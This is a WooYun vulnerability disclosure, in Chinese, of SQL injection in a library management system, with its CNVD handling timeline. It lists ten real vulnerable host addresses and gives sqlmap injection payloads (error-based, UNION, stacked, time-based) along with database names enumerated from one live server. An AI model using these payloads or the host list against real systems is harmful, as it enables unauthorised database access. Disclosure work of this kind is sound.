当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087721

漏洞标题：某图书馆系统#通用SQL注入漏洞

相关厂商：天睿电子图书管理系统

漏洞作者： 路人甲

提交时间：2014-12-23 10:43

修复时间：2015-03-23 10:44

公开时间：2015-03-23 10:44

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-23： 细节已通知厂商并且等待厂商处理中
2014-12-26： 厂商已经确认，细节仅向厂商公开
2014-12-29： 细节向第三方安全合作伙伴开放
2015-02-19： 细节向核心白帽子及相关领域专家公开
2015-03-01： 细节向普通白帽子公开
2015-03-11： 细节向实习白帽子公开
2015-03-23： 细节向公众公开

简要描述：

RT

详细说明：

看案例如下:
http://222.189.45.162/dzts/us_mima2.asp
http://lsxnmxx.js.cn:41516/tushu/us_mima2.asp
http://ts.gylyxx.com/us_mima2.asp
http://221.181.233.195:10003/us_mima2.asp
http://221.181.191.140/dzts/us_mima2.asp
http://221.231.112.70:2001/syxdzts/us_mima2.asp
http://tushu.dhxctzx.com/us_mima2.asp
http://www.gyxjsxx.com/tushu/us_mima2.asp
http://220.170.135.156:88/dzts//us_mima2.asp
http://61.175.231.112:8090/dzts/us_mima2.asp
POST参数:T2=360&T3=360&T4=360&B3=%EF%BF%BD%E1%BD%BB&T1=360
参数基本都存在注入。
1.测试注入:http://61.175.231.112:8090/dzts/us_mima2.asp
POST参数:T2=360&T3=360&T4=360&B3=%EF%BF%BD%E1%BD%BB&T1=360

1.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: T2
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: T2=360' AND 3471=CONVERT(INT,(SELECT CHAR(113)+CHAR(114)+CHAR(113)+
CHAR(101)+CHAR(113)+(SELECT (CASE WHEN (3471=3471) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(104)+CHAR(113))) AND 'AwVD'='AwVD&T3=360
&T4=360&B3=%EF%BF%BD%E1%BD%BB&T1=360
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: T2=360' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(114)+CHAR(11
3)+CHAR(101)+CHAR(113)+CHAR(113)+CHAR(78)+CHAR(102)+CHAR(71)+CHAR(88)+CHAR(118)+
CHAR(120)+CHAR(85)+CHAR(119)+CHAR(103)+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(104)+C
HAR(113)-- &T3=360&T4=360&B3=%EF%BF%BD%E1%BD%BB&T1=360
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: T2=360'; WAITFOR DELAY '0:0:5'--&T3=360&T4=360&B3=%EF%BF%BD%E1%BD%B
B&T1=360
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: T2=360' AND 6861=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS
 sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysuse
rs AS sys7) AND 'utvq'='utvq&T3=360&T4=360&B3=%EF%BF%BD%E1%BD%BB&T1=360
---
[19:15:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[19:15:18] [INFO] fetching database names
[19:15:19] [INFO] the SQL query used returns 11 entries
[19:15:20] [INFO] retrieved: dzts
[19:15:24] [INFO] retrieved: gcxx
[19:15:25] [INFO] retrieved: master
[19:15:26] [INFO] retrieved: model
[19:15:27] [INFO] retrieved: msdb
[19:15:28] [INFO] retrieved: tempdb
[19:15:29] [INFO] retrieved: wd
[19:15:29] [INFO] retrieved: xbk
[19:15:30] [INFO] retrieved: xpk
[19:15:31] [INFO] retrieved: zxpt
[19:15:32] [INFO] retrieved: zzts
available databases [11]:
[*] dzts
[*] gcxx
[*] master
[*] model
[*] msdb
[*] tempdb
[*] wd
[*] xbk
[*] xpk
[*] zxpt
[*] zzts
[19:15:32] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 12 times
[19:15:32] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\61.175.231.112'


我就测试一个。都存在的。

漏洞证明：

1.png

修复方案：

过滤参数

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-12-26 15:51

厂商回复：

CNVD确认所述漏洞情况，暂未建立与软件生产厂商的直接处置渠道，待认领。

最新状态：

暂无